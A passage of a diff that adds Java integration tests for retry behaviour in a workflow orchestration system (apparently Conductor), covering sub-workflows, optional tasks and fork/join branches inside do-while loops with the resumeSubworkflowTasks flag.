workflowClient.getWorkflow(workflowId, false); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.FAILED.name()); + }); + + // Retry the workflow + workflowClient.retryLastFailedTask(workflowId); + // Check the workflow status and few other parameters + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, true); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.RUNNING.name()); + assertTrue(workflow1.getLastRetriedTime() != 0L); + assertEquals( + workflow1.getTasks().get(2).getStatus().name(), + Task.Status.SCHEDULED.name()); + }); + + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId( + workflowClient.getWorkflow(workflowId, true).getTasks().get(2).getTaskId()); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(taskResult); + + // Wait for workflow to get completed + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .pollInterval(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.COMPLETED.name()); + }); + } + + @Test + @DisplayName("Check workflow with sub_workflow task and retry functionality") + public void testRetryWithSubWorkflow() { + + workflowClient = ApiUtil.WORKFLOW_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + String workflowName = "retry-parent-with-sub-workflow"; + String subWorkflowName = "retry-sub-workflow"; + String taskName = "simple-no-retry2"; + + terminateExistingRunningWorkflows(workflowName); + + // Register workflow + registerWorkflowWithSubWorkflowDef(workflowName, subWorkflowName, taskName, metadataClient); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + System.out.print("Workflow id is " + workflowId); + + // Fail the simple task + String subworkflowId = awaitSubWorkflowId(workflowId); + String taskId = awaitTaskId(subworkflowId, 0); + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(subworkflowId); + taskResult.setTaskId(taskId); + taskResult.setStatus(TaskResult.Status.FAILED); + taskClient.updateTask(taskResult); + + // Wait for parent workflow to get failed + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.FAILED.name()); + }); + + // Retry the sub workflow. + workflowClient.retryLastFailedTask(subworkflowId); + // Check the workflow status and few other parameters + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(subworkflowId, true); + assertEquals( + Workflow.WorkflowStatus.RUNNING.name(), + workflow1.getStatus().name()); + assertTrue(workflow1.getLastRetriedTime() != 0L); + assertEquals( + workflow1.getTasks().get(0).getStatus().name(), + Task.Status.FAILED.name()); + assertEquals( + workflow1.getTasks().get(1).getStatus().name(), + Task.Status.SCHEDULED.name()); + }); + taskId = awaitTaskId(subworkflowId, 1); + + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(subworkflowId); + taskResult.setTaskId(taskId); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(taskResult); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals( + Workflow.WorkflowStatus.COMPLETED.name(), + workflow1.getStatus().name(), + "workflow " + workflowId + " did not complete"); + }); + + // Check retry at parent workflow level. + String newWorkflowId = workflowClient.startWorkflow(startWorkflowRequest); + System.out.print("Workflow id is " + newWorkflowId); + // Fail the simple task + String newSubworkflowId = awaitSubWorkflowId(newWorkflowId); + taskId = awaitTaskId(newSubworkflowId, 0); + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(newSubworkflowId); + taskResult.setTaskId(taskId); + taskResult.setStatus(TaskResult.Status.FAILED); + taskClient.updateTask(taskResult); + + // Wait for parent workflow to get failed + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(newWorkflowId, false); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.FAILED.name()); + }); + + // Retry parent workflow. + workflowClient.retryLastFailedTask(newWorkflowId); + + // Wait for parent workflow to get failed + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(newWorkflowId, false); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.RUNNING.name()); + }); + + newSubworkflowId = awaitSubWorkflowId(newWorkflowId); + taskId = awaitTaskId(newSubworkflowId, 1); + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(newSubworkflowId); + taskResult.setTaskId(taskId); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(taskResult); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(newWorkflowId, false); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.COMPLETED.name()); + }); + } + + @Test + @DisplayName("Check workflow with sub_workflow task and retry functionality with optional task") + public void testRetryWithSubWorkflowOptionalLevels() { + workflowClient = ApiUtil.WORKFLOW_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + + String parentWorkflowName = "parent-wf-2level"; + String childWorkflowName = "sub-wf-2level"; + String taskName = "simple-task-2level"; + + terminateExistingRunningWorkflows(parentWorkflowName); + + // Register child workflow (level 2) + registerWorkflowDef(childWorkflowName, taskName, taskName, metadataClient); + // Register parent workflow (level 1) with sub_workflow = child + registerWorkflowWithSubWorkflowDef( + parentWorkflowName, childWorkflowName, taskName, metadataClient); + // Set the sub_workflow task in parent as optional + WorkflowDef parentDef = metadataClient.getWorkflowDef(parentWorkflowName, 1); + parentDef.getTasks().get(0).setOptional(true); + metadataClient.updateWorkflowDefs(List.of(parentDef)); + + // Start parent workflow + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(parentWorkflowName); + startWorkflowRequest.setVersion(1); + + String parentWorkflowId = workflowClient.startWorkflow(startWorkflowRequest); + + // Wait for the child sub-workflow to be scheduled and get its ID + String childWorkflowId = + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .until( + () -> { + Workflow parentWorkflow = + workflowClient.getWorkflow(parentWorkflowId, true); + if (!parentWorkflow.getTasks().isEmpty()) { + String subId = + parentWorkflow.getTasks().get(0).getSubWorkflowId(); + if (subId != null && !subId.isEmpty()) { + return subId; + } + } + return null; + }, + id -> id != null); + + // Wait for the child workflow to be available + Workflow childWorkflow = + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .until( + () -> { + try { + return workflowClient.getWorkflow(childWorkflowId, true); + } catch (Exception e) { + return null; + } + }, + w -> w != null); + + // Fail the simple task in child workflow + String childTaskId = childWorkflow.getTasks().get(0).getTaskId(); + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(childWorkflowId); + taskResult.setTaskId(childTaskId); + taskResult.setStatus(TaskResult.Status.FAILED); + taskClient.updateTask(taskResult); + + // Wait for parent to complete (since child is optional) + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow parent = workflowClient.getWorkflow(parentWorkflowId, false); + assertEquals( + Workflow.WorkflowStatus.COMPLETED.name(), + parent.getStatus().name()); + }); + + // Retry the child workflow + workflowClient.retryLastFailedTask(childWorkflowId); + + // Check child is running, parent remains completed + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow child = workflowClient.getWorkflow(childWorkflowId, true); + assertEquals( + Workflow.WorkflowStatus.RUNNING.name(), + child.getStatus().name()); + Workflow parent = workflowClient.getWorkflow(parentWorkflowId, true); + assertEquals( + Workflow.WorkflowStatus.COMPLETED.name(), + parent.getStatus().name()); + }); + } + + private void terminateExistingRunningWorkflows(String workflowName) { + // clean up first + try { + SearchResult found = + workflowClient.search( + "workflowType IN (" + workflowName + ") AND status IN (RUNNING)"); + System.out.println( + "Found " + found.getResults().size() + " running workflows to be cleaned up"); + found.getResults() + .forEach( + workflowSummary -> { + System.out.println( + "Going to terminate " + + workflowSummary.getWorkflowId() + + " with status " + + workflowSummary.getStatus()); + workflowClient.terminateWorkflow( + workflowSummary.getWorkflowId(), "terminate - retry test"); + }); + } catch (Exception e) { + if (!(e instanceof ConductorClientException)) { + throw e; + } + } + } + + private String awaitSubWorkflowId(String workflowId) { + final String[] subWorkflowId = new String[1]; + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .pollInterval(100, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertFalse(workflow.getTasks().isEmpty()); + subWorkflowId[0] = workflow.getTasks().get(0).getSubWorkflowId(); + assertNotNull(subWorkflowId[0]); + assertFalse(subWorkflowId[0].isBlank()); + }); + return subWorkflowId[0]; + } + + private String awaitTaskId(String workflowId, int taskIndex) { + final String[] taskId = new String[1]; + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .pollInterval(100, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertTrue(workflow.getTasks().size() > taskIndex); + taskId[0] = workflow.getTasks().get(taskIndex).getTaskId(); + assertNotNull(taskId[0]); + assertFalse(taskId[0].isBlank()); + }); + return taskId[0]; + } + + // ========================================================================== + // PR #3596: retry with resumeSubworkflowTasks=true + // + // Shape used in the parameterized test: + // + // parent + // FORK( + // failing_sub_: SUB_WORKFLOW(failingChild) + // failingChild: A -> B -> C (all SIMPLE) + // cancelled_sub_: SUB_WORKFLOW(cancelledChild) + // cancelledChild: D (SIMPLE) + // ) -> JOIN + // + // ========================================================================== + + public enum InnerFailStatus { + FAILED(TaskResult.Status.FAILED), + FAILED_WITH_TERMINAL_ERROR(TaskResult.Status.FAILED_WITH_TERMINAL_ERROR); + + final TaskResult.Status status; + + InnerFailStatus(TaskResult.Status s) { + this.status = s; + } + } + + @ParameterizedTest(name = "innerFailStatus={0}") + @EnumSource(InnerFailStatus.class) + @DisplayName( + "Retry parent with resumeSubworkflowTasks=true retries failed inner task in place across unsuccessful statuses") + public void testRetryWithResumeFlagInForkPlusSubWorkflowAcrossFailedStatuses( + InnerFailStatus failStatus) { + long stamp = System.currentTimeMillis(); + String parentName = "retry-resume-fork-parent-" + failStatus + "-" + stamp; + String failingChildName = "retry-resume-fork-failing-" + failStatus + "-" + stamp; + String cancelledChildName = "retry-resume-fork-cancelled-" + failStatus + "-" + stamp; + String taskARef = "task_a_" + failStatus + "_" + stamp; + String taskBRef = "task_b_" + failStatus + "_" + stamp; + String taskCRef = "task_c_" + failStatus + "_" + stamp; + String taskDRef = "task_d_" + failStatus + "_" + stamp; + String failingBranchRef = "failing_sub_" + failStatus + "_" + stamp; + String cancelledBranchRef = "cancelled_sub_" + failStatus + "_" + stamp; + + terminateExistingRunningWorkflows(parentName); + + registerChildWithSequentialSimpleTasks( + failingChildName, List.of(taskARef, taskBRef, taskCRef)); + registerChildWithSequentialSimpleTasks(cancelledChildName, List.of(taskDRef)); + registerParentForkWithTwoSubWorkflowBranches( + parentName, + failingBranchRef, + failingChildName, + cancelledBranchRef, + cancelledChildName); + + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName(parentName); + req.setVersion(1); + String parentId = workflowClient.startWorkflow(req); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(parentId, true); + assertNotNull( + findTaskByRef(wf, failingBranchRef).getSubWorkflowId(), + "failing branch child must be scheduled"); + assertNotNull( + findTaskByRef(wf, cancelledBranchRef).getSubWorkflowId(), + "cancelled branch child must be scheduled"); + }); + Workflow parentSnapshot = workflowClient.getWorkflow(parentId, true); + String failingChildId = findTaskByRef(parentSnapshot, failingBranchRef).getSubWorkflowId(); + String originalCancelledChildId = + findTaskByRef(parentSnapshot, cancelledBranchRef).getSubWorkflowId(); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertNotNull( + findActiveTaskByRef(failingChildId, taskARef), + "task A must be active before we complete it")); + completeTaskWithStatus( + failingChildId, + findActiveTaskByRef(failingChildId, taskARef).getTaskId(), + TaskResult.Status.COMPLETED); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Task.Status.COMPLETED, + statusOf(failingChildId, taskARef), + "task A must reach COMPLETED before driving B to failure")); + Task originalA = findTaskByRef(workflowClient.getWorkflow(failingChildId, true), taskARef); + String originalATaskId = originalA.getTaskId(); + long originalAEndTime = originalA.getEndTime(); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertNotNull( + findActiveTaskByRef(failingChildId, taskBRef), + "task B must become active after A completes")); + completeTaskWithStatus( + failingChildId, + findActiveTaskByRef(failingChildId, taskBRef).getTaskId(), + failStatus.status); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow parent = workflowClient.getWorkflow(parentId, true); + assertEquals( + Workflow.WorkflowStatus.FAILED, + parent.getStatus(), + "parent should be FAILED after inner task " + failStatus); + assertEquals( + Task.Status.CANCELED, + findTaskByRef(parent, cancelledBranchRef).getStatus(), + "cancelled sibling SUB_WORKFLOW task should be CANCELED"); + assertNotNull( + findTaskByRef(parent, failingBranchRef) + .getReasonForIncompletion(), + "failing branch should carry reasonForIncompletion while FAILED"); + }); + + workflowClient.retryLastFailedTask(parentId, true); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Workflow.WorkflowStatus.RUNNING, + workflowClient.getWorkflow(parentId, false).getStatus(), + "parent should be RUNNING after retry-with-resume")); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow parent = workflowClient.getWorkflow(parentId, true); + + Task failingBranchNow = findTaskByRef(parent, failingBranchRef); + assertEquals( + failingChildId, + failingBranchNow.getSubWorkflowId(), + "failing branch subWorkflowId must be PRESERVED (retry-in-place via resume flag)"); + assertNull( + failingBranchNow.getReasonForIncompletion(), + "failing branch reasonForIncompletion must be cleared"); + + Task cancelledBranchNow = findTaskByRef(parent, cancelledBranchRef); + assertEquals( + originalCancelledChildId, + cancelledBranchNow.getSubWorkflowId(), + "cancelled branch subWorkflowId must be PRESERVED (cancelled-sibling fix)"); + assertNull( + cancelledBranchNow.getReasonForIncompletion(), + "cancelled branch reasonForIncompletion must be cleared"); + + Workflow failingChild = + workflowClient.getWorkflow(failingChildId, true); + assertFalse( + failingChild.getStatus().isTerminal(), + "resumed failing child must be non-terminal, got " + + failingChild.getStatus()); + + Task aAfterRetry = + failingChild.getTasks().stream() + .filter( + t -> + taskARef.equals( + t + .getReferenceTaskName()) + && t.getStatus() + == Task.Status + .COMPLETED) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "task A must remain COMPLETED after retry — resume=true must preserve completed siblings")); + assertEquals( + originalATaskId, + aAfterRetry.getTaskId(), + "task A taskId must be UNCHANGED — proves it was not re-executed"); + assertEquals( + originalAEndTime, + aAfterRetry.getEndTime(), + "task A endTime must be UNCHANGED — proves it was not re-executed"); + + assertNotNull( + findActiveTaskByRef(failingChildId, taskBRef), + "task B must have an active fresh attempt after retry"); + }); + + completeTaskWithStatus( + failingChildId, + findActiveTaskByRef(failingChildId, taskBRef).getTaskId(), + TaskResult.Status.COMPLETED); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertNotNull( + findActiveTaskByRef(failingChildId, taskCRef), + "task C should be active after B completes")); + completeTaskWithStatus( + failingChildId, + findActiveTaskByRef(failingChildId, taskCRef).getTaskId(), + TaskResult.Status.COMPLETED); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertNotNull( + findActiveTaskByRef(originalCancelledChildId, taskDRef), + "task D should be active in resumed cancelled child")); + completeTaskWithStatus( + originalCancelledChildId, + findActiveTaskByRef(originalCancelledChildId, taskDRef).getTaskId(), + TaskResult.Status.COMPLETED); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + workflowClient.getWorkflow(parentId, false).getStatus(), + "parent should complete end-to-end after retry-with-resume")); + } + + private void registerChildWithSequentialSimpleTasks(String childName, List taskRefs) { + List tasks = new ArrayList<>(); + List taskDefs = new ArrayList<>(); + for (String ref : taskRefs) { + TaskDef td = new TaskDef(ref); + td.setRetryCount(0); + td.setOwnerEmail("test@conductor.io"); + taskDefs.add(td); + + WorkflowTask wt = new WorkflowTask(); + wt.setName(ref); + wt.setTaskReferenceName(ref); + wt.setTaskDefinition(td); + wt.setWorkflowTaskType(TaskType.SIMPLE); + tasks.add(wt); + } + metadataClient.registerTaskDefs(taskDefs); + + WorkflowDef def = new WorkflowDef(); + def.setName(childName); + def.setOwnerEmail("test@conductor.io"); + def.setTimeoutSeconds(600); + def.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + def.setTasks(tasks); + metadataClient.updateWorkflowDefs(List.of(def)); + } + + private void registerParentForkWithTwoSubWorkflowBranches( + String parentName, + String branchARef, + String childAName, + String branchBRef, + String childBName) { + WorkflowTask fork = new WorkflowTask(); + fork.setName("fork_" + parentName); + fork.setTaskReferenceName("fork_" + parentName); + fork.setWorkflowTaskType(TaskType.FORK_JOIN); + fork.setForkTasks( + List.of( + List.of(buildSubWorkflowTask(branchARef, childAName)), + List.of(buildSubWorkflowTask(branchBRef, childBName)))); + + WorkflowTask join = new WorkflowTask(); + join.setName("join_" + parentName); + join.setTaskReferenceName("join_" + parentName); + join.setWorkflowTaskType(TaskType.JOIN); + join.setJoinOn(List.of(branchARef, branchBRef)); + + WorkflowDef def = new WorkflowDef(); + def.setName(parentName); + def.setOwnerEmail("test@conductor.io"); + def.setTimeoutSeconds(900); + def.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + def.setTasks(List.of(fork, join)); + metadataClient.updateWorkflowDefs(List.of(def)); + } + + private WorkflowTask buildSubWorkflowTask(String ref, String childWorkflowName) { + WorkflowTask t = new WorkflowTask(); + t.setName(ref); + t.setTaskReferenceName(ref); + t.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + SubWorkflowParams params = new SubWorkflowParams(); + params.setName(childWorkflowName); + params.setVersion(1); + t.setSubWorkflowParam(params); + return t; + } + + private Task findTaskByRef(Workflow wf, String ref) { + return wf.getTasks().stream() + .filter(t -> ref.equals(t.getReferenceTaskName())) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "task " + + ref + + " not found in workflow " + + wf.getWorkflowId())); + } + + private Task findActiveTaskByRef(String workflowId, String ref) { + return workflowClient.getWorkflow(workflowId, true).getTasks().stream() + .filter(t -> ref.equals(t.getReferenceTaskName()) && !t.getStatus().isTerminal()) + .findFirst() + .orElse(null); + } + + private Task.Status statusOf(String workflowId, String ref) { + return findTaskByRef(workflowClient.getWorkflow(workflowId, true), ref).getStatus(); + } + + private void completeTaskWithStatus( + String workflowId, String taskId, TaskResult.Status status) { + TaskResult tr = new TaskResult(); + tr.setWorkflowInstanceId(workflowId); + tr.setTaskId(taskId); + tr.setStatus(status); + if (status == TaskResult.Status.FAILED + || status == TaskResult.Status.FAILED_WITH_TERMINAL_ERROR) { + tr.setReasonForIncompletion("test-driven " + status); + } + taskClient.updateTask(tr); + } + + /** + * Exact-shape test: parent v1 = DO_WHILE(number=2) { FORK[sub_workflow_ref_1, sub_workflow_ref] + * -> JOIN }, sub v1 = INLINE inline_ref -> SIMPLE simple_ref. Iter 1 succeeds end-to-end, iter + * 2 branchA SIMPLE fails. Retry parent with resumeSubworkflowTasks=true. Asserts: - iter 1 + * untouched (workflow + inline/simple taskIds + endTimes + retryCount) - iter 2 branchB INLINE + * that was COMPLETED before failure stays the same instance - iter 2 branchB SIMPLE restored in + * place: exactly ONE non-terminal instance, no retried=true clone - parent reaches COMPLETED + * end-to-end + */ + @Test + @DisplayName( + "Retry with resumeSubworkflowTasks=true on exact prod shape: in-place reset on cancelled sibling, iter 1 untouched") + public void testRetryWithResumeFlagSecondIterationFailureInForkInsideDoWhile() { + long stamp = System.currentTimeMillis(); + String parentName = "parent_" + stamp; + String childName = "sub_" + stamp; + terminateExistingRunningWorkflows(parentName); + + registerExactShapeParentAndChild(parentName, childName); + + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName(parentName); + req.setVersion(1); + String parentId = workflowClient.startWorkflow(req); + + String[] iter1A = new String[1]; + String[] iter1B = new String[1]; + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + iter1A[0] = subWorkflowIdAtIteration(parentId, "sub_workflow_ref_1", 1); + iter1B[0] = subWorkflowIdAtIteration(parentId, "sub_workflow_ref", 1); + }); + completeActiveSimpleRef(iter1A[0], TaskResult.Status.COMPLETED); + completeActiveSimpleRef(iter1B[0], TaskResult.Status.COMPLETED); + awaitWorkflowStatus(iter1A[0], Workflow.WorkflowStatus.COMPLETED); + awaitWorkflowStatus(iter1B[0], Workflow.WorkflowStatus.COMPLETED); + + Iter1Snapshot snapA = snapshotIter1Child(iter1A[0]); + Iter1Snapshot snapB = snapshotIter1Child(iter1B[0]); + + String[] iter2A = new String[1]; + String[] iter2B = new String[1]; + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + iter2A[0] = subWorkflowIdAtIteration(parentId, "sub_workflow_ref_1", 2); + iter2B[0] = subWorkflowIdAtIteration(parentId, "sub_workflow_ref", 2); + }); + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Task.Status.COMPLETED, + onlyTaskByRef(iter2B[0], "inline_ref").getStatus())); + Task iter2BInlineBefore = onlyTaskByRef(iter2B[0], "inline_ref"); + + completeActiveSimpleRef(iter2A[0], TaskResult.Status.FAILED); + awaitWorkflowStatus(parentId, Workflow.WorkflowStatus.FAILED); + + workflowClient.retryLastFailedTask(parentId, true); + awaitWorkflowStatus(parentId, Workflow.WorkflowStatus.RUNNING); + + assertIter1Unchanged(iter1A[0], snapA); + assertIter1Unchanged(iter1B[0], snapB); + + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Task inlineAfter = onlyTaskByRef(iter2B[0], "inline_ref"); + assertEquals( + Task.Status.COMPLETED, + inlineAfter.getStatus(), + "iter 2 branchB inline must remain COMPLETED"); + assertEquals( + iter2BInlineBefore.getTaskId(), + inlineAfter.getTaskId(), + "iter 2 branchB inline taskId unchanged"); + assertEquals( + iter2BInlineBefore.getEndTime(), + inlineAfter.getEndTime(), + "iter 2 branchB inline endTime unchanged"); + }); + + completeActiveSimpleRef(iter2A[0], TaskResult.Status.COMPLETED); + completeActiveSimpleRef(iter2B[0], TaskResult.Status.COMPLETED); + awaitWorkflowStatus(parentId, Workflow.WorkflowStatus.COMPLETED); + } + + private void registerExactShapeParentAndChild(String parentName, String childName) { + TaskDef simpleDef = new TaskDef("simple"); + simpleDef.setRetryCount(0); + simpleDef.setOwnerEmail("test@conductor.io"); + metadataClient.registerTaskDefs(List.of(simpleDef)); + + WorkflowTask inline = new WorkflowTask(); + inline.setName("inline"); + inline.setTaskReferenceName("inline_ref"); + inline.setWorkflowTaskType(TaskType.INLINE); + inline.setInputParameters( + Map.of( + "evaluatorType", + "graaljs", + "expression", + "(function () { return $.value1 + $.value2; })();", + "value1", + 1, + "value2", + 2)); + + WorkflowTask simple = new WorkflowTask(); + simple.setName("simple"); + simple.setTaskReferenceName("simple_ref"); + simple.setTaskDefinition(simpleDef); + simple.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef childDef = new WorkflowDef(); + childDef.setName(childName); + childDef.setOwnerEmail("test@conductor.io"); + childDef.setTimeoutSeconds(600); + childDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + childDef.setTasks(List.of(inline, simple)); + metadataClient.updateWorkflowDefs(List.of(childDef)); + + WorkflowTask branchA = buildSubWorkflowTask("sub_workflow_ref_1", childName); + branchA.setName("sub_workflow_1"); + WorkflowTask branchB = buildSubWorkflowTask("sub_workflow_ref", childName); + branchB.setName("sub_workflow"); + + WorkflowTask fork = new WorkflowTask(); + fork.setName("fork"); + fork.setTaskReferenceName("fork_ref"); + fork.setWorkflowTaskType(TaskType.FORK_JOIN); + fork.setForkTasks(List.of(List.of(branchA), List.of(branchB))); + + WorkflowTask join = new WorkflowTask(); + join.setName("join"); + join.setTaskReferenceName("join_ref"); + join.setWorkflowTaskType(TaskType.JOIN); + + WorkflowTask dw = new WorkflowTask(); + dw.setName("do_while"); + dw.setTaskReferenceName("do_while_ref"); + dw.setWorkflowTaskType(TaskType.DO_WHILE); + dw.setInputParameters(Map.of("number", 2)); + dw.setLoopCondition( + "(function () { if ($.do_while_ref['iteration'] < $.number) { return true; } return false; })();"); + dw.setLoopOver(List.of(fork, join)); + + WorkflowDef parentDef = new WorkflowDef(); + parentDef.setName(parentName); + parentDef.setOwnerEmail("test@conductor.io"); + parentDef.setTimeoutSeconds(900); + parentDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + parentDef.setTasks(List.of(dw)); + metadataClient.updateWorkflowDefs(List.of(parentDef)); + } + + private String subWorkflowIdAtIteration(String parentId, String branchRef, int iteration) { + String suffix = "__" + iteration; + Task t = + workflowClient.getWorkflow(parentId, true).getTasks().stream() + .filter( + x -> + (branchRef + suffix).equals(x.getReferenceTaskName()) + && x.getSubWorkflowId() != null) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + branchRef + suffix + " not materialised yet")); + return t.getSubWorkflowId(); + } + + private void completeActiveSimpleRef(String childId, TaskResult.Status status) { + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertNotNull( + findActiveTaskByRef(childId, "simple_ref"), + "simple_ref must be active in " + childId)); + completeTaskWithStatus( + childId, findActiveTaskByRef(childId, "simple_ref").getTaskId(), status); + } + + private Task onlyTaskByRef(String workflowId, String ref) { + List matches = + workflowClient.getWorkflow(workflowId, true).getTasks().stream() + .filter(t -> ref.equals(t.getReferenceTaskName())) + .collect(Collectors.toList()); + assertEquals( + 1, + matches.size(), + "expected exactly one " + ref + " in " + workflowId + ", got " + matches.size()); + return matches.get(0); + } + + private void awaitWorkflowStatus(String workflowId, Workflow.WorkflowStatus expected) { + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + expected, + workflowClient.getWorkflow(workflowId, false).getStatus(), + workflowId + " must reach " + expected)); + } + + private static final class Iter1Snapshot { + final long workflowEndTime; + final String inlineTaskId; + final long inlineEndTime; + final String simpleTaskId; + final long simpleEndTime; + final int simpleRetryCount; + + Iter1Snapshot(long w, String ii, long ie, String si, long se, int sr) { + workflowEndTime = w; + inlineTaskId = ii; + inlineEndTime = ie; + simpleTaskId = si; + simpleEndTime = se; + simpleRetryCount = sr; + } + } + + private Iter1Snapshot snapshotIter1Child(String childId) { + Workflow wf = workflowClient.getWorkflow(childId, true); + Task inline = + wf.getTasks().stream() + .filter(t -> "inline_ref".equals(t.getReferenceTaskName())) + .findFirst() + .orElseThrow(); + Task simple = + wf.getTasks().stream() + .filter(t -> "simple_ref".equals(t.getReferenceTaskName())) + .findFirst() + .orElseThrow(); + return new Iter1Snapshot( + wf.getEndTime(), + inline.getTaskId(), + inline.getEndTime(), + simple.getTaskId(), + simple.getEndTime(), + simple.getRetryCount()); + } + + private void assertIter1Unchanged(String childId, Iter1Snapshot before) { + Workflow wf = workflowClient.getWorkflow(childId, true); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + wf.getStatus(), + childId + " must stay COMPLETED"); + assertEquals(before.workflowEndTime, wf.getEndTime(), childId + " endTime unchanged"); + Task inline = onlyTaskByRef(childId, "inline_ref"); + Task simple = onlyTaskByRef(childId, "simple_ref"); + assertEquals(before.inlineTaskId, inline.getTaskId(), childId + " inline taskId unchanged"); + assertEquals( + before.inlineEndTime, inline.getEndTime(), childId + " inline endTime unchanged"); + assertEquals(before.simpleTaskId, simple.getTaskId(), childId + " simple taskId unchanged"); + assertEquals( + before.simpleEndTime, simple.getEndTime(), childId + " simple endTime unchanged"); + assertEquals( + before.simpleRetryCount, + simple.getRetryCount(), + childId + " simple retryCount unchanged"); + } + + /** + * 3-branch FORK inside a single-iteration DO_WHILE. Drive iter 1 so one branch COMPLETES, one + * FAILS with FAILED_WITH_TERMINAL_ERROR, and one is CANCELED by the fork. Retry WITHOUT + * 